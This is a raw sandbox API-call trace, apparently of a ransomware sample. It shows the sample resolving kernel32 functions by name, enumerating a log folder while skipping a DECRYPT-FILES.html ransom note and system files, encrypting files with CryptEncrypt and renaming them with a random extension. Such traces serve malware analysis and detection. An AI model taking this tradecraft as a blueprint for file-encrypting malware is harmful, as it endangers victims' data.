lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0099.914] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0099.914] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0099.914] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0099.914] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0099.914] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0099.915] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0099.915] lstrlenA (lpString="CREATEEVENTA") returned 12 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0099.915] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0099.915] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0099.915] lstrlenA (lpString="CREATEEVENTW") returned 12 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0099.915] lstrlenA (lpString="CREATEFIBER") returned 11 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0099.915] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0099.915] lstrlenA (lpString="CREATEFILE2") returned 11 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0099.915] lstrlenA (lpString="CREATEFILEA") returned 11 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0099.915] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0099.915] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0099.915] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0099.915] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0099.915] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0099.915] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0099.915] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0099.915] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0099.916] lstrlenA (lpString="CREATEFILEW") returned 11 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0099.916] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0099.916] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0099.916] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0099.916] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0099.916] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0099.916] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0099.916] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0099.916] lstrlenA (lpString="CREATEJOBSET") returned 12 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0099.916] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0099.916] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0099.916] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0099.916] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0099.916] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0099.916] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0099.916] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0099.916] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0099.916] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0099.917] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0099.917] lstrlenA (lpString="CREATEPIPE") returned 10 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0099.917] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0099.917] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0099.917] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0099.917] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0099.917] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0099.917] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0099.917] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0099.917] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0099.917] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0099.917] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0099.917] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0099.917] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0099.917] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0099.917] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0099.918] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0099.918] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0099.918] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0099.918] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0099.918] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0099.918] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0099.918] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0099.918] lstrlenA (lpString="CREATETHREAD") returned 12 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0099.918] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0099.918] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0099.918] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0099.918] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0099.918] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0099.918] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0099.918] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0099.918] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0099.919] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.SjdFfob") returned 65 [0099.919] MoveFileExW (lpExistingFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.SjdFfob" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.sjdffob"), dwFlags=0x0) returned 1 [0099.923] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.924] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.924] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.925] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4133831f, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4133831f, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4133831f, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0099.925] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0099.925] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\") returned 20 [0099.925] lstrlenW (lpString="eogwkz.dat") returned 10 [0099.925] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\Logs\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0099.925] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="eogwkz.dat" | out: lpString1="C:\\$GetCurrent\\Logs\\eogwkz.dat") returned="C:\\$GetCurrent\\Logs\\eogwkz.dat" [0099.925] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0099.925] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\eogwkz.dat" (normalized: "c:\\$getcurrent\\logs\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.926] CloseHandle (hObject=0x0) returned 0 [0099.926] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.926] FindNextFileW (in: hFindFile=0x6bbb70, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x7b76, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0099.926] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="DECRYPT-FILES.html") returned 1 [0099.926] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="autorun.inf") returned 1 [0099.926] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="boot.ini") returned 1 [0099.926] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="desktop.ini") returned 1 [0099.926] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="ntuser.dat") returned 1 [0099.927] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="iconcache.db") returned 1 [0099.927] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="bootsect.bak") returned 1 [0099.927] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="ntuser.dat.log") returned 1 [0099.927] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="thumbs.db") returned -1 [0099.927] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="Bootfont.bin") returned 1 [0099.927] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\") returned 20 [0099.927] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0099.927] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\$GetCurrent\\Logs\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\" [0099.927] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="oobe_2017_09_07_03_08_57_737.log" | out: lpString1="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" [0099.927] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0099.928] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0100.039] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=6004) returned 1 [0100.039] CreateFileMappingW (hFile=0x540, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x544 [0100.040] MapViewOfFile (hFileMappingObject=0x544, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0100.221] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3b60000 | out: pbBuffer=0x3b60000) returned 1 [0100.221] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3b60020 | out: pbBuffer=0x3b60020) returned 1 [0100.221] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0100.221] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b80000*, pdwDataLen=0x38be718*=0x100) returned 1 [0100.222] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0100.222] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.223] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0100.223] CloseHandle (hObject=0x544) returned 1 [0100.223] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.223] WriteFile (in: hFile=0x540, lpBuffer=0x3b80000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b80000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0100.985] CloseHandle (hObject=0x0) returned 0 [0100.985] CloseHandle (hObject=0x540) returned 1 [0100.986] VirtualFree (lpAddress=0x3b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.986] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.986] GetTickCount () returned 0x2ec98 [0100.987] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0100.987] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0100.987] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0100.987] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0100.988] lstrlenA (lpString="kernel32.dll") returned 12 [0100.988] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0100.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0100.988] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0100.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0100.988] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0100.988] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0100.988] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0100.989] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0100.989] lstrlenA (lpString="ADDATOMA") returned 8 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0100.989] lstrlenA (lpString="ADDATOMW") returned 8 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0100.989] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0100.989] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0100.989] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0100.989] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0100.989] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0100.989] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0100.990] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0100.990] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0100.990] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0100.990] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0100.990] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0100.990] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0100.990] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0100.990] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") 